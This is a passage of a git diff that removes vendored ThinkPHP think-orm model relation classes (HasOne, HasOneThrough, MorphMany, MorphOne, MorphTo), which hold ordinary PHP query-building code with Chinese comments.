$this->localKey . '=' . $throughTable . '.' . $this->foreignKey) - ->whereExp($throughTable . '.' . $this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) - ->fetchSql() - ->$aggregate($field); - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery) && $this->parent->getData()) { - $alias = Str::snake(class_basename($this->model)); - $throughTable = $this->through->getTable(); - $pk = $this->throughPk; - $throughKey = $this->throughKey; - $modelTable = $this->parent->getTable(); - $fields = $this->getQueryFields($alias); - - $this->query - ->field($fields) - ->alias($alias) - ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) - ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) - ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey}); - - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/HasOne.php b/vendor/topthink/think-orm/src/model/relation/HasOne.php deleted file mode 100644 index 7fcd20a..0000000 --- a/vendor/topthink/think-orm/src/model/relation/HasOne.php +++ /dev/null @@ -1,300 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\relation; - -use Closure; -use think\db\BaseQuery as Query; -use think\helper\Str; -use think\Model; - -/** - * HasOne 关联类 - */ -class HasOne extends OneToOne -{ - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 当前模型主键 - */ - public function __construct(Model $parent, string $model, string $foreignKey, string $localKey) - { - $this->parent = $parent; - $this->model = $model; - $this->foreignKey = $foreignKey; - $this->localKey = $localKey; - $this->query = (new $model)->db(); - - if (get_class($parent) == $model) { - $this->selfRelation = true; - } - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Model - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - $localKey = $this->localKey; - - if ($closure) { - $closure($this->getClosureType($closure)); - } - - // 判断关联类型执行查询 - $relationModel = $this->query - ->removeWhereField($this->foreignKey) - ->where($this->foreignKey, $this->parent->$localKey) - ->relation($subRelation) - ->find(); - - if ($relationModel) { - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($this->parent, $relationModel); - } - - $relationModel->setParent(clone $this->parent); - } - - return $relationModel; - } - - /** - * 创建关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->whereExp($this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) - ->fetchSql() - ->$aggregate($field); - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) - { - $localKey = $this->localKey; - - if (!isset($result->$localKey)) { - return 0; - } - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->where($this->foreignKey, '=', $result->$localKey) - ->$aggregate($field); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query - { - $table = $this->query->getTable(); - $model = class_basename($this->parent); - $relation = class_basename($this->model); - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->whereExists(function ($query) use ($table, $model, $relation, $localKey, $foreignKey, $softDelete) { - $query->table([$table => $relation]) - ->field($relation . '.' . $foreignKey) - ->whereExp($model . '.' . $localKey, '=' . $relation . '.' . $foreignKey) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }); - }); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query - { - $table = $this->query->getTable(); - $model = class_basename($this->parent); - $relation = class_basename($this->model); - - if (is_array($where)) { - $this->getQueryWhere($where, $relation); - } elseif ($where instanceof Query) { - $where->via($relation); - } elseif ($where instanceof Closure) { - $where($this->query->via($relation)); - $where = $this->query; - } - - $fields = $this->getRelationQueryFields($fields, $model); - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ? $query->alias($model) : $this->parent->db()->alias($model); - - return $query->field($fields) - ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType ?: $this->joinType) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->where($where); - } - - /** - * 预载入关联查询(数据集) - * @access protected - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $range = []; - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$localKey)) { - $range[] = $result->$localKey; - } - } - - if (!empty($range)) { - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$foreignKey, 'in', $range], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - // 关联模型 - if (!isset($data[$result->$localKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$localKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($result, $relationModel); - } else { - // 设置关联属性 - $result->setRelation($relation, $relationModel); - } - } - } - } - - /** - * 预载入关联查询(数据) - * @access protected - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$foreignKey, '=', $result->$localKey], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联模型 - if (!isset($data[$result->$localKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$localKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($result, $relationModel); - } else { - $result->setRelation($relation, $relationModel); - } - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery)) { - if (isset($this->parent->{$this->localKey})) { - // 关联查询带入关联条件 - $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey}); - } - - $this->baseQuery = true; - } - } -} diff --git a/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php b/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php deleted file mode 100644 index 8ec42df..0000000 --- a/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php +++ /dev/null @@ -1,163 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\helper\Str; -use think\Model; - -/** - * 远程一对一关联类 - */ -class HasOneThrough extends HasManyThrough -{ - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Model - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $this->baseQuery(); - - $relationModel = $this->query->relation($subRelation)->find(); - - if ($relationModel) { - $relationModel->setParent(clone $this->parent); - } - - return $relationModel; - } - - /** - * 预载入关联查询(数据集) - * @access protected - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $range = []; - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$localKey)) { - $range[] = $result->$localKey; - } - } - - if (!empty($range)) { - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$this->foreignKey, 'in', $range], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - // 关联模型 - if (!isset($data[$result->$localKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$localKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - // 设置关联属性 - $result->setRelation($relation, $relationModel); - } - } - } - - /** - * 预载入关联查询(数据) - * @access protected - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$foreignKey, '=', $result->$localKey], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联模型 - if (!isset($data[$result->$localKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$localKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - $result->setRelation($relation, $relationModel); - } - - /** - * 关联模型预查询 - * @access public - * @param array $where 关联预查询条件 - * @param string $key 关联键名 - * @param array $subRelation 子关联 - * @param Closure $closure - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - // 预载入关联查询 支持嵌套预载入 - $keys = $this->through->where($where)->column($this->throughPk, $this->foreignKey); - - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $list = $this->query - ->where($this->throughKey, 'in', $keys) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - - // 组装模型数据 - $data = []; - $keys = array_flip($keys); - - foreach ($list as $set) { - $data[$keys[$set->{$this->throughKey}]] = $set; - } - - return $data; - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphMany.php b/vendor/topthink/think-orm/src/model/relation/MorphMany.php deleted file mode 100644 index 82910cb..0000000 --- a/vendor/topthink/think-orm/src/model/relation/MorphMany.php +++ /dev/null @@ -1,353 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\Collection; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 多态一对多关联 - */ -class MorphMany extends Relation -{ - - /** - * 多态关联外键 - * @var string - */ - protected $morphKey; - /** - * 多态字段名 - * @var string - */ - protected $morphType; - - /** - * 多态类型 - * @var string - */ - protected $type; - - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $morphKey 关联外键 - * @param string $morphType 多态字段名 - * @param string $type 多态类型 - */ - public function __construct(Model $parent, string $model, string $morphKey, string $morphType, string $type) - { - $this->parent = $parent; - $this->model = $model; - $this->type = $type; - $this->morphKey = $morphKey; - $this->morphType = $morphType; - $this->query = (new $model)->db(); - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Collection - */ - public function getRelation(array $subRelation = [], Closure $closure = null): Collection - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $this->baseQuery(); - - if ($this->withLimit) { - $this->query->limit($this->withLimit); - } - - return $this->query->relation($subRelation) - ->select() - ->setParent(clone $this->parent); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) - { - throw new Exception('relation not support: has'); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) - { - throw new Exception('relation not support: hasWhere'); - } - - /** - * 预载入关联查询 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $morphType = $this->morphType; - $morphKey = $this->morphKey; - $type = $this->type; - $range = []; - - foreach ($resultSet as $result) { - $pk = $result->getPk(); - // 获取关联外键列表 - if (isset($result->$pk)) { - $range[] = $result->$pk; - } - } - - if (!empty($range)) { - $where = [ - [$morphKey, 'in', $range], - [$morphType, '=', $type], - ]; - $data = $this->eagerlyMorphToMany($where, $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - if (!isset($data[$result->$pk])) { - $data[$result->$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); - } - } - } - - /** - * 预载入关联查询 - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $pk = $result->getPk(); - - if (isset($result->$pk)) { - $key = $result->$pk; - $data = $this->eagerlyMorphToMany([ - [$this->morphKey, '=', $key], - [$this->morphType, '=', $this->type], - ], $subRelation, $closure, $cache); - - if (!isset($data[$key])) { - $data[$key] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$key], clone $this->parent)); - } - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return mixed - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) - { - $pk = $result->getPk(); - - if (!isset($result->$pk)) { - return 0; - } - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->where([ - [$this->morphKey, '=', $result->$pk], - [$this->morphType, '=', $this->type], - ]) - ->$aggregate($field); - } - - /** - * 获取关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->whereExp($this->morphKey, '=' . $this->parent->getTable() . '.' . $this->parent->getPk()) - ->where($this->morphType, '=', $this->type) - ->fetchSql() - ->$aggregate($field); - } - - /** - * 多态一对多 关联模型预查询 - * @access protected - * @param array $where 关联预查询条件 - * @param array $subRelation 子关联 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyMorphToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - // 预载入关联查询 支持嵌套预载入 - $this->query->removeOption('where'); - - if ($closure) { - $this->baseQuery = true; - $closure($this->getClosureType($closure)); - } - - $list = $this->query - ->where($where) - ->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - $morphKey = $this->morphKey; - - // 组装模型数据 - $data = []; - foreach ($list as $set) { - $key = $set->$morphKey; - - if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { - continue; - } - - $data[$key][] = $set; - } - - return $data; - } - - /** - * 保存(新增)当前关联数据对象 - * @access public - * @param mixed $data 数据 可以使用数组 关联模型对象 - * @param bool $replace 是否自动识别更新和写入 - * @return Model|false - */ - public function save($data, bool $replace = true) - { - $model = $this->make(); - - return $model->replace($replace)->save($data) ? $model : false; - } - - /** - * 创建关联对象实例 - * @param array|Model $data - * @return Model - */ - public function make($data = []): Model - { - if ($data instanceof Model) { - $data = $data->getData(); - } - - // 保存关联表数据 - $pk = $this->parent->getPk(); - - $data[$this->morphKey] = $this->parent->$pk; - $data[$this->morphType] = $this->type; - - return new $this->model($data); - } - - /** - * 批量保存当前关联数据对象 - * @access public - * @param iterable $dataSet 数据集 - * @param boolean $replace 是否自动识别更新和写入 - * @return array|false - */ - public function saveAll(iterable $dataSet, bool $replace = true) - { - $result = []; - - foreach ($dataSet as $key => $data) { - $result[] = $this->save($data, $replace); - } - - return empty($result) ? false : $result; - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery) && $this->parent->getData()) { - $pk = $this->parent->getPk(); - - $this->query->where([ - [$this->morphKey, '=', $this->parent->$pk], - [$this->morphType, '=', $this->type], - ]); - - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphOne.php b/vendor/topthink/think-orm/src/model/relation/MorphOne.php deleted file mode 100644 index 6789c76..0000000 --- a/vendor/topthink/think-orm/src/model/relation/MorphOne.php +++ /dev/null @@ -1,280 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 多态一对一关联类 - */ -class MorphOne extends Relation -{ - /** - * 多态关联外键 - * @var string - */ - protected $morphKey; - - /** - * 多态字段 - * @var string - */ - protected $morphType; - - /** - * 多态类型 - * @var string - */ - protected $type; - - /** - * 构造函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $morphKey 关联外键 - * @param string $morphType 多态字段名 - * @param string $type 多态类型 - */ - public function __construct(Model $parent, string $model, string $morphKey, string $morphType, string $type) - { - $this->parent = $parent; - $this->model = $model; - $this->type = $type; - $this->morphKey = $morphKey; - $this->morphType = $morphType; - $this->query = (new $model)->db(); - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Model - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $this->baseQuery(); - - $relationModel = $this->query->relation($subRelation)->find(); - - if ($relationModel) { - $relationModel->setParent(clone $this->parent); - } - - return $relationModel; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) - { - return $this->parent; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) - { - throw new Exception('relation not support: hasWhere'); - } - - /** - * 预载入关联查询 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $morphType = $this->morphType; - $morphKey = $this->morphKey; - $type = $this->type; - $range = []; - - foreach ($resultSet as $result) { - $pk = $result->getPk(); - // 获取关联外键列表 - if (isset($result->$pk)) { - $range[] = $result->$pk; - } - } - - if (!empty($range)) { - $data = $this->eagerlyMorphToOne([ - [$morphKey, 'in', $range], - [$morphType, '=', $type], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - if (!isset($data[$result->$pk])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$pk]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - $result->setRelation($relation, $relationModel); - } - } - } - - /** - * 预载入关联查询 - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $pk = $result->getPk(); - - if (isset($result->$pk)) { - $pk = $result->$pk; - $data = $this->eagerlyMorphToOne([ - [$this->morphKey, '=', $pk], - [$this->morphType, '=', $this->type], - ], $subRelation, $closure, $cache); - - if (isset($data[$pk])) { - $relationModel = $data[$pk]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } else { - $relationModel = null; - } - - $result->setRelation($relation, $relationModel); - } - } - - /** - * 多态一对一 关联模型预查询 - * @access protected - * @param array $where 关联预查询条件 - * @param array $subRelation 子关联 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyMorphToOne(array $where, array $subRelation = [], $closure = null, array $cache = []): array - { - // 预载入关联查询 支持嵌套预载入 - if ($closure) { - $this->baseQuery = true; - $closure($this->getClosureType($closure)); - } - - $list = $this->query - ->where($where) - ->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - $morphKey = $this->morphKey; - - // 组装模型数据 - $data = []; - - foreach ($list as $set) { - $data[$set->$morphKey] = $set; - } - - return $data; - } - - /** - * 保存(新增)当前关联数据对象 - * @access public - * @param mixed $data 数据 可以使用数组 关联模型对象 - * @param boolean $replace 是否自动识别更新和写入 - * @return Model|false - */ - public function save($data, bool $replace = true) - { - $model = $this->make(); - return $model->replace($replace)->save($data) ? $model : false; - } - - /** - * 创建关联对象实例 - * @param array|Model $data - * @return Model - */ - public function make($data = []): Model - { - if ($data instanceof Model) { - $data = $data->getData(); - } - - // 保存关联表数据 - $pk = $this->parent->getPk(); - - $data[$this->morphKey] = $this->parent->$pk; - $data[$this->morphType] = $this->type; - - return new $this->model($data); - } - - /** - * 执行基础查询(进执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery) && $this->parent->getData()) { - $pk = $this->parent->getPk(); - - $this->query->where([ - [$this->morphKey, '=', $this->parent->$pk], - [$this->morphType, '=', $this->type], - ]); - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphTo.php b/vendor/topthink/think-orm/src/model/relation/MorphTo.php deleted file mode 100644 index eaa9890..0000000 --- a/vendor/topthink/think-orm/src/model/relation/MorphTo.php +++ /dev/null @@ -1,332 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 多态关联类 - */ -class MorphTo extends Relation -{ - /** - * 多态关联外键 - * @var string - */ - protected $morphKey; - - /** - * 多态字段 - * @var string - */ - protected $morphType; - - /** - * 多态别名 - * @var array - */ - protected $alias = []; - - /** - * 关联名 - * @var string - */ - protected $relation; - - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $morphType 多态字段名 - * @param string $morphKey 外键名 - * @param array $alias 多态别名定义 - * @param string $relation 关联名 - */ - public function __construct(Model $parent, string $morphType, string $morphKey, array $alias = [], string $relation = null) - { - $this->parent = $parent; - $this->morphType = $morphType; - $this->morphKey = $morphKey; - $this->alias = $alias; - $this->relation = $relation; - } - - /** - * 获取当前的关联模型类的实例 - * @access public - * @return Model - */ - public function getModel(): Model - { - $morphType = $this->morphType; - $model = $this->parseModel($this->parent->$morphType); - - return (new $model); - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Model - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - $morphKey = $this->morphKey; - $morphType = $this->morphType; - - // 多态模型 - $model = $this->parseModel($this->parent->$morphType); - - // 主键数据 - $pk = $this->parent->$morphKey; - - $relationModel = (new $model)->relation($subRelation)->find($pk); - - if ($relationModel) { - $relationModel->setParent(clone $this->parent); - } - - return $relationModel; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) - { - return $this->parent; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) - { - throw new Exception('relation not support: hasWhere'); - } - - /** - * 解析模型的完整命名空间 - * @access protected - * @param string $model 模型名(或者完整类名) - * @return string - */ - protected function parseModel(string $model): string - { - if (isset($this->alias[$model])) { - $model = $this->alias[$model]; - } - - if (false === strpos($model, '\\')) { - $path = explode('\\', get_class($this->parent)); - array_pop($path); - array_push($path, Str::studly($model)); - $model = implode('\\', $path); - } - - return $model; - } - - /** - * 设置多态别名 - * @access public - * @param array $alias 别名定义 - * @return $this - */ - public function setAlias(array $alias) - { - $this->alias = $alias; - - return $this; - } - - /** - * 移除关联查询参数 - * @access public - * @return $this - */ - public function removeOption() - { - return $this; - } - - /** - * 预载入关联查询 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - * @throws Exception - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $morphKey = $this->morphKey; - $morphType = $this->morphType; - $range = []; - - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (!empty($result->$morphKey)) { - $range[$result->$morphType][] = $result->$morphKey; - } - } - - if (!empty($range)) { - - foreach ($range as $key => $val) { - // 多态类型映射 - $model = $this->parseModel($key); - $obj = new $model; - $pk = $obj->getPk(); - $list = $obj->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select($val); - $data = []; - - foreach ($list as $k => $vo) { - $data[$vo->$pk] = $vo; - } - - foreach ($resultSet as $result) { - if ($key == $result->$morphType) { - // 关联模型 - if (!isset($data[$result->$morphKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$morphKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - $result->setRelation($relation, $relationModel); - } - } - } - } - } - - /** - * 预载入关联查询 - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - // 多态类型映射 - $model = $this->parseModel($result->{$this->morphType}); - - $this->eagerlyMorphToOne($model, $relation, $result, $subRelation, $cache); - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*') - {} - - /** - * 多态MorphTo 关联模型预查询 - * @access protected - * @param string $model 关联模型对象 - * @param string $relation 关联名 - * @param Model $result - * @param array $subRelation 子关联 - * @param array $cache 关联缓存 - * @return void - */ - protected function eagerlyMorphToOne(string $model, string $relation, Model $result, array $subRelation = [], array $cache = []): void - { - // 预载入关联查询 支持嵌套预载入 - $pk = $this->parent->{$this->morphKey}; - $data = (new $model)->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->find($pk); - - if ($data) { - $data->setParent(clone $result); - $data->exists(true); - } - - $result->setRelation($relation, $data ?: null); - } - - /** - * 添加关联数据 - * @access public - * @param Model $model 关联模型对象 - * @param string $type 多态类型 - * @return Model - */ - public function associate(Model $model, string $type = ''): Model - { - $morphKey = $this->morphKey; - $morphType = $this->morphType; - $pk = $model->getPk(); - - $this->parent->setAttr($morphKey, $model->$pk); - $this->parent->setAttr($morphType, $type ?: get_class($model)); - $this->parent->save(); - - return $this->parent->setRelation($this->relation, $model); - } - - /** - * 注销关联数据 - * @access public - * @return Model - */ - public function dissociate(): Model - { - $morphKey = $this->morphKey; - $morphType = $this->morphType; - - $this->parent->setAttr($morphKey, null); - $this->parent->setAttr($morphType, null); - $this->parent->save(); - - return $this->parent->setRelation($this->relation, null); - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphToMany.php b/vendor/topthink/think-orm/src/model/relation/MorphToMany.php deleted file mode 100644 index 88bbf9a..0000000 --- 